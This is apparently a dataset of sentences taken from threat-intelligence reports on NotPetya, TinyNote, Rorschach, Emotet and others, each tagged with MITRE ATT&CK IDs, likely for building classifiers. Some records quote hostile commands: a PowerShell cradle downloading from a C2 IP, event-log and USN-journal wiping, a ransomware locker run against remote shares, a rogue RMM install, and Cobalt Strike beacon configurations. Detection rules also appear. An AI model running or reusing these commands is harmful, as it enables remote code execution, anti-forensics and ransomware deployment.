{"sentence": "This is the same vulnerability Microsoft reported on in MS17-010, which was exploited so successfully in the recent WannaCry ransomware outbreak.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "C:\\windows\\dllhost.dat Credential theft module Written as a .tmp file to the temp directory Ransomware splash and warning files Command Line Execution", "labels": ["T1059.003", "T1218.011"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "= 0xF7 → avp.exe PROC_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "= 2 → SeDebugPrivilege.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The resulting contents are then written to a randomly named .tmp file in the %TEMP% folder.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "If the field is either of the values mentioned, the following takes place: DhcpEnumSubnets to get an enumerated list of subnets on the server DhcpGetSubnetInfo on each subnet on the list to get the DHCP_SUBNET_STATE value to see whether the DhcpSubnetEnabled flag is set DhcpEnumSubnetClients on each subnet with the aforementioned flag set.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "This function returns an enumerated list of clients associated with the IP addresses in each subnet.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "→ run as system -d → do not wait for process termination -u → username (not shown here) -p → password (not shown here) WMIC", "labels": ["T1047"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The following command will execute on the remote as the specified user: C:\\Windows\\system32\\wbem\\wmic.exe /node:”” /user:””", "labels": ["T1047"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "–> Initially, this byte is set to 0, which denotes that the MFT has not been encrypted.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The malware also writes the hardcoded string 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX in the sector.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "This is used as an integrity check for the decryption process.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "However, its main purpose is to encrypt or decrypt the MFT, which it is able to accomplish using Salsa20.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "Shortly after the encryption, the buffer containing the Salsa20 key is overwritten; therefore, the key is destroyed Encrypts the MFT and stores", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "a counter of MFT records that are encrypted Causes a disk reboot Upon a second reboot, the NotPetya ransomware note is displayed as shown below:", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "In addition, it initiates a loop that waits for the user to input the purchased key.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "File Encryption Along with MFT encryption", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": ".pdf .php", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": ".rtf", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": ".sln .sql .tar .vbox .vbs .vcb .vdi .vfd .vmc", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": ".vmdk .vmsd .vmx .vsdx .vsv .work .xls .xlsx .xvd .zip", "labels": ["T1083"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The malware only targets fixed drives on the system.", "labels": ["T1083"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "Once the README.txt is dropped on disk, CryptDestroyKey is invoked to release the handle to the key.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "/c schtasks /Create/SC once /TN “” /TR “C:\\Windows\\system32\\shutdown.exe /r /f”", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The value depends on the second parameter when being invoked by rundll32.exe.", "labels": ["T1218.011"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "Furthermore, once execution of those files take place, it zeroes out its file contents before deleting from the disk.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "/c wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "In this post, we’ll introduce Earth Zhulong’s new tactics, techniques, and procedures (TTPs) in the recent campaign and the evolution of their custom shellcode loader, “ShellFang”.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "The earliest variant of ShellFang was observed in a victim’s environment in 2020.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Windows APIs are obfuscated via a hashing function and dynamically resolved in the run-time.", "labels": ["T1027", "T1106"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Figure 12.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Figure 13.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "-to=0 -cg=1 Information defined in the configuration file.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Although the original developer already stopped maintenance and removed the download link, it’s still getting more popular in the recent cyber-attack.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Information Stealer We found a python-based information stealer used to collect internal information of victims.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Dumped data will be stored in a csv file and compressed by WinRAR with a password (“5tgb6yhn”), then all compressed data will be uploaded to Dropbox at the end.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "After finishing the operation, they will clean the intrusion footprint and delete important files, including payload and network configuration files, to avoid leaking any information to analysts.", "labels": ["T1070.004"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Obfuscated PowerShell script used to clean the footprint on Domain Controller Figure 18.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "The right one is found in the earliest ShellFang variant.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "1937CN is a well-known hacking group in Southeast Asia and has always been their major target as well.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Camaro Dragon’s TinyNote Backdoor url: https://research.checkpoint.com/2023/malware-spotlight-camaro-dragons-tinynote-backdoor/ Executive summary Since early January 2023, there has been a notable surge in activity targeting European foreign affairs entities linked to Southeast and East Asia.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Check Point Research analysis of these attacks also has uncovered a malicious TP-Link router firmware containing a custom implant named Horse Shell, which allows the threat actors to maintain persistent access and build anonymous infrastructure using compromised routers.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The TinyNote backdoor is a first-stage malware only capable of basic machine enumeration and command execution via PowerShell or Goroutines.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Among many other tools, previously discussed by other researchers, we discovered yet another backdoor that we named TinyNote.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "This naming convention is similar to the one used at the same time by the MQsTTang backdoor versions discovered by ESET and found in VT.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "In the copyright and build information for the executables, the malware developers left a reference to code.mil.mm, the Myanmar military infrastructure, likely to add credibility to their tool.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The threat actors appear to have reverse-engineered the logic of smadAV and dealt with this check by creating a window without a window name, but with the class name “EDIT” which is one of the available default windows class names.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The window attributes include a very large number for the X position, the width and height are set to 0, and flags such as WS_EX_TOOLWINDOW define the window as a tool window.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "If this is not found, it continues the execution flow.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "First, it creates the directory c:\\programdata\\Robots.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "/TN test /SC MINUTE /MO 15 /TR \"powershell \\\"$r=[System.", "labels": ["T1053.005"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "-c set-alias exi iex;`$v1='iex (new-object net.webclient).dow';`$v2='nloadstring(''http://';`$v3='103.159.132.91/robots1.txt'')';exi(`$v1+`$v2+`$v3);\" The final payload returned is a lightweight PowerShell backdoor, which retrieves a list of commands from the CMD header from the C&C server response, executes them with Invoke-Expression, concatenates the outputs with '_n1w_' string, and sends them back to the server in POST request: $WindowState = '[DllImport(\"user32.dll\")]", "labels": ["T1071.001", "T1105"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "[System.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Timeout = 10000; $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "First, the malware enumerates the system for the following data and concatenates it to one string:", "labels": ["T1033"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Rorschach ransomware appears to be unique, sharing no overlaps that could easily attribute it to any known ransomware strain.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Attempt to stop a predefined list of services, using net.exe stop.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Disable the Windows firewall, using netsh.exe Self-propagation When executed on a Windows Domain Controller (DC), the ransomware automatically creates a Group Policy, spreading itself to other machines within the domain.", "labels": ["T1484.001", "T1562.001"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "After unpacking, the sample loads and decrypts config.ini, which contains the ransomware logic.", "labels": ["T1027", "T1140"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "This results in a crucial portion of the code being virtualized in addition to lacking an IAT table.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Rorahsach takes inspiration from another ransomware strain: LockBit.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "First, the list of languages used to halt the malware is exactly the same list that was used in LockBit v2.0 (although the list is commonly used by many Russian speaking groups, and not just LockBit).", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "But we can still say that Rorschach took the best from the ransomware families with the highest reputation, and then added some unique features of its own.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "However, the resulting ransom note was completely different.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "QuickBooks.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "#recycle$Recycle.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "There is some overlap and redundancy to the list of services killed via the service control manager. AcronisAgentAcrSch2Svcagntsvc.exeBackExecRPCServicebackupBackupExecAgentAcceleratorBackupExecDiveciMediaServiceBackupExecJobEnginebedbgCAARCUpdateSvcccEvtMgrCulserverdbeng50.exedbeng8dbsnmp.exedbsrv12.exeDefWatchencsvc.exeexcel.exefirefox.exeinfopath.exeIntuit.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Executing a scheduled task to run the attack: **REDACTED**\\Administrador %LogonDomain%\\%LogonUser% InteractiveToken HighestAvailable PT10M PT1H false false IgnoreNew false false true true true false P3D 7 true true %Public%\\cy.exe --run=**REDACTED** ", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "For instance, if we overwrite the pointer dereferenced in a CALL [rax] instruction with a ROP gadget address, CFG will block our exploit by throwing an exception.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Conversely, backward-edge CFI like Intel’s CET protects a function’s return address by comparing it to a previously saved version of the address that is stored on the Shadow Stack.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "At the time of this writing the landscape hasn’t changed much and every major browser continues to run CET on every process except the renderer process.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Our goal for this blog post is to try to leverage this theoretical approach and implement it in a proof of concept in order to bypass Intel CET.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Similarly to ROP, vfgadgets can perform tasks like populating a value into a register.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "However when grouped together, multiple vfgadgets can execute more advanced operations.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once the Looper is running, it can then call other vfgadgets that are responsible for executing specific operations, like Argument LoadersInvokers and Collectors.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "COOP attack flow We can arrange and mix different vfgadgets based on their availability and the desired APIs that we want to execute.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "[-] EXAMPLE - WinExec: coop.exe 00001e000000 5086014001000000 40610fecfb7f0000 \"cmd.exe /C calc\" [-] EXAMPLE - LoadLibraryA: coop.exe 00001e000000", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "5086014001000000 f0040becfb7f0000 \"edgehtml.dll\" Getting the PoC’s syntax The application accepts four parameters: a pointer to our counterfeit object (COOP) buffer, the vfgadget address, the Windows API address and its arguments.", "labels": ["T1055", "T1106"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "We let the application continue and verify that we indeed hit our breakpoint.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Breakpoint 0 hit coop!main+0x3d2: 00000001`4001847e ff159cbb0a00 call qword ptr [coop!__guard_dispatch_icall_fptr (00000001`400c4020)] ds:00000001`400c4020={ntdll!LdrpDispatchUserCallTarget (00007ffb`ecbdc620)} 0:000>t ntdll!LdrpDispatchUserCallTarget:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000001`4001865a 4883ec38 sub rsp,38h 0:000> coop!OffSec::trigger+0xe: 00000001`4001865e 488b442440 mov rax,qword ptr [rsp+40h] ss:00000000`0014fdf0=0000000000590d80 Moving the ‘this’ pointer into RAX In the above listing, the Invoker first saves the this pointer from RCX into the stack, and we also verify that it points to the base of our COOP buffer.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "During this time period, multiple rounds of enumeration and lateral movement occurred using Cobalt Strike.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Emotet, then proceeded to execute a short list of discover commands using the Windows utilities systeminfo, ipconfig, and nltest targeting the network’s domain controllers.", "labels": ["T1016", "T1082"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Using the Cobalt Strike beacon, the threat actors began conducting a new round of discovery activity.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Next, they proceeded to transfer a beacon executable over SMB to the remote host’s ProgramData directory.", "labels": ["T1570"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "From initial intrusion to ransomware deployment, 154 hours passed, over eight days.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": ", Emotet began execution.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Emotet will initially copy itself to a randomly named folder in the users temporary folder.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "\"C:\\Program Files\\TacticalAgent\\tacticalrmm.exe\" -m install --api https://api.floppasoftware[.]com --client-id 1 --site-id 1 --agent-type server --auth 5bc5f5263224697ff9a653f8efa7e7d7a2ce341920a03c60e4823331b2508c", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "-m svcService Type: user mode serviceService Start Type: auto startService Account:", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "During a period of a few seconds, multiple NetrServerReqChallenge and NetrServerAuthenticate2 methods in the traffic from a single source were observed, this is one of the indicators of a Zerologon attempt.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Driver Signature Name:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The threat actor was observed querying a non-existent group Domain controller, followed by a command correcting the mistake that queried the group Domain controllers .", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Once on the domain controller, two batch files were run.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "139.60.161.167 (survefuz[.]com) 139.60.160.18 (juanjik[.]com) 139.60.161.167 (survefuz[.]com) JA3s: 211897664d51cffdfd7f78d684602ecc JA3: a0e9f5d64349fb13191bc781f81f42e1 Certificate: 03:4e:01:cb:d0:d4:40:24:ad:e0:cd:81:9f:00:44:0f:1e:de Not Before: May 24 11:25:15 2022 GMT Not After: Aug 22 11:25:14 2022 GMT Issuer Org: Let's Encrypt Subject Common: survefuz[.]com Public Algorithm: id-ecPublicKey 139.60.160.18 (juanjik[.]com) JA3s: 211897664d51cffdfd7f78d684602ecc JA3: a0e9f5d64349fb13191bc781f81f42e1 Certificate: 04:ea:aa:59:1e:c6:50:6e:d3:70:d4:24:50:f0:a5:30:9a:e6 Not Before: Jun 14 17:38:08 2022 GMT Not After: Sep 12 17:38:07 2022 GMT Issuer Org: Let's Encrypt Subject Common: juanjik[.]com", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Public Algorithm: rsaEncryption The following are the Cobalt Strike configurations observed: 139.60.161.167 (survefuz[.]com) { \"beacontype\": [ \"HTTP\" ], \"sleeptime\": 45000, \"jitter\": 37, \"maxgetsize\": 1403644, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 206546002, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"survefuz[.]com\", \"port\": 80, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqoyVkBHx713LeUHmw7FAozt15LWTMgX1nCLSXECllryUTD8E7tTjJLIy4Hg27yiG56NFyXzCzL70T7HPzWGd7fJN1H5exgB19psw4c1qwuqkWLlO8GDOT6gFzQwY0FA/eKvDfgxatj387yoR2U+hfo0I0GiO4x4V7c9ow/OlHXwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/jquery-3.3.1.min.js\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\", \"append 1522 characters\", \"prepend 84 characters\", \"prepend 3931 characters\", \"base64url\", \"mask\" ] } }, \"http-post\": { \"uri\": \"/jquery-3.3.2.min.js\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\dllhost.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\dllhost.exe\" }, \"process-inject\": { \"allocator\": \"NtMapViewOfSection\", \"execute\": [ \"CreateThread 'ntdll!RtlUserThreadStart'\", \"CreateThread\", \"NtQueueApcThread-s\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 17500, \"startrwx\": false, \"stub\": \"yl5rgAigihmtjA5iEHURzg==\", \"transform-x86\": [ \"prepend '\\\\x90\\\\x90'\" ], \"transform-x64\": [ \"prepend '\\\\x90\\\\x90'\" ], \"userwx\": false }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": true }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } 139.60.160.18:80 (juanjik[.]com) { \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"dns_beacon\": {}, \"smb_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"post_ex\": { \"spawnto_x64\": \"%windir%\\\\sysnative\\\\dllhost.exe\", \"spawnto_x86\": \"%windir%\\\\syswow64\\\\dllhost.exe\" }, \"stage\": { \"cleanup\": true }, \"process_inject\": { \"stub\": \"yl5rgAigihmtjA5iEHURzg==\", \"transform_x64\": [ \"prepend '\\\\x90\\\\x90'\" ], \"transform_x86\": [ \"prepend '\\\\x90\\\\x90'\" ], \"startrwx\": false, \"min_alloc\": \"17500\", \"userwx\": false, \"execute\": [ \"CreateThread 'ntdll!RtlUserThreadStart'\", \"CreateThread\", \"NtQueueApcThread-s\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"allocator\": \"NtMapViewOfSection\" }, \"uses_cookies\": true, \"http_post_chunk\": \"0\", \"ssh\": {}, \"maxgetsize\": \"1403644\", \"proxy\": { \"behavior\": \"Use IE settings\" }, \"tcp_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"server\": { \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCbFjn9w4cE3slYf3jYqTw3S+6HxAGZd3cMpTqKnDsmGAmCsll4R4jp5yz2SnrpRz8brvoZNotuWhqu71R0FqaAkaaheF5MrOHJBbCvGKDu4m6RZ0DHicJCpj6YIm0FLHNNZugHhV5Ou9lZaseCTECMnk0rXiwTsiRWv9ikRccwHwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\", \"port\": \"443\", \"hostname\": \"juanjik[.]com\" }, \"beacontype\": [ \"HTTPS\" ], \"license_id\": \"206546002\", \"jitter\": \"37\", \"sleeptime\": \"45000\", \"http_get\": { \"server\": { \"output\": [ \"print\", \"append 1522 characters\", \"prepend 84 characters\", \"prepend 3931 characters\", \"base64url\", \"mask\" ] }, \"client\": { \"metadata\":", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "[email protected] With the help of Netflow, we identified that at least ~250MB worth of data was exfiltrated out of the environment.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Finally, with Don’t Sleep running, the threat actor executed a batch script named “1.bat“.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "rundll32.exe locker.dll,run /TARGET=\\\\HOST1.DOMAIN.NAME\\C$", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "/TARGET=\\\\HOST2.DOMAIN.NAME\\C$ /TARGET=\\\\HOST3.DOMAIN.NAME\\C$ /login", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "author: TheDFIRReport references: - https://thedfirreport.com/ date: 2022/10/03 logsource: category: process_creation product: windows detection:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "i=bypassed recovery failedcan't scan our own stackcertificate unobtainablechacha20\" ascii condition: uint16(0) == 0x5a4d and filesize < 14000KB and 1 of ($x*) } rule dontsleep { meta: description = \"15184_ - file dontsleep.exe\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-11-28\" hash1 = \"f8cff7082a936912baf2124d42ed82403c75c87cb160553a7df862f8d81809ee\" strings: $s1 = \"shell32.dll,Control_RunDLL\" fullword ascii $s2 = \"powrprof.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "FilesToHash_locker { meta: description = \"15184_ - file locker.dll\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-11-28\" hash1 = \"6424b4983f83f477a5da846a1dc3e2565b7a7d88ae3f084f3d3884c43aec5df6\" strings: $s1 = \"plugin.dll\" fullword ascii $s2 = \"oL$0fE\" fullword ascii /*", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "06.13.2022.lnk.lnk\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-11-28\" hash1 = \"1bf9314ae67ab791932c43e6c64103b1b572a88035447dae781bffd21a1187ad\" strings: $x1 = \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" fullword ascii $s2 = \"%SystemRoot%\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" fullword wide $s3 = \"<..\\\\..\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" fullword wide $s4 = \"-c \\\"&{'p8ArwZsj8ZO+Zy/dHPeI+siGhbaxtEhzwmd3zVObm9uG2CGKqz5m4AdzKWWzPmKrjJieG4O9';$BxQ='uYnIvc3RhdHMvUkppMnJRSTRRWHJXQ2ZnZG1pLyI\" wide $s5 = \"WindowsPowerShell\" fullword wide $s6 = \"black-dog\" fullword ascii $s7 = \"powershell.exe\" fullword wide /*", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Remote Desktop Protocol – T1021.001 Malicious File – T1204.002 Spearphishing Attachment – T1566.001 Exploitation of Remote Services – T1210 Internal case #15184", "labels": [], "doc_title": "Emotet Strikes 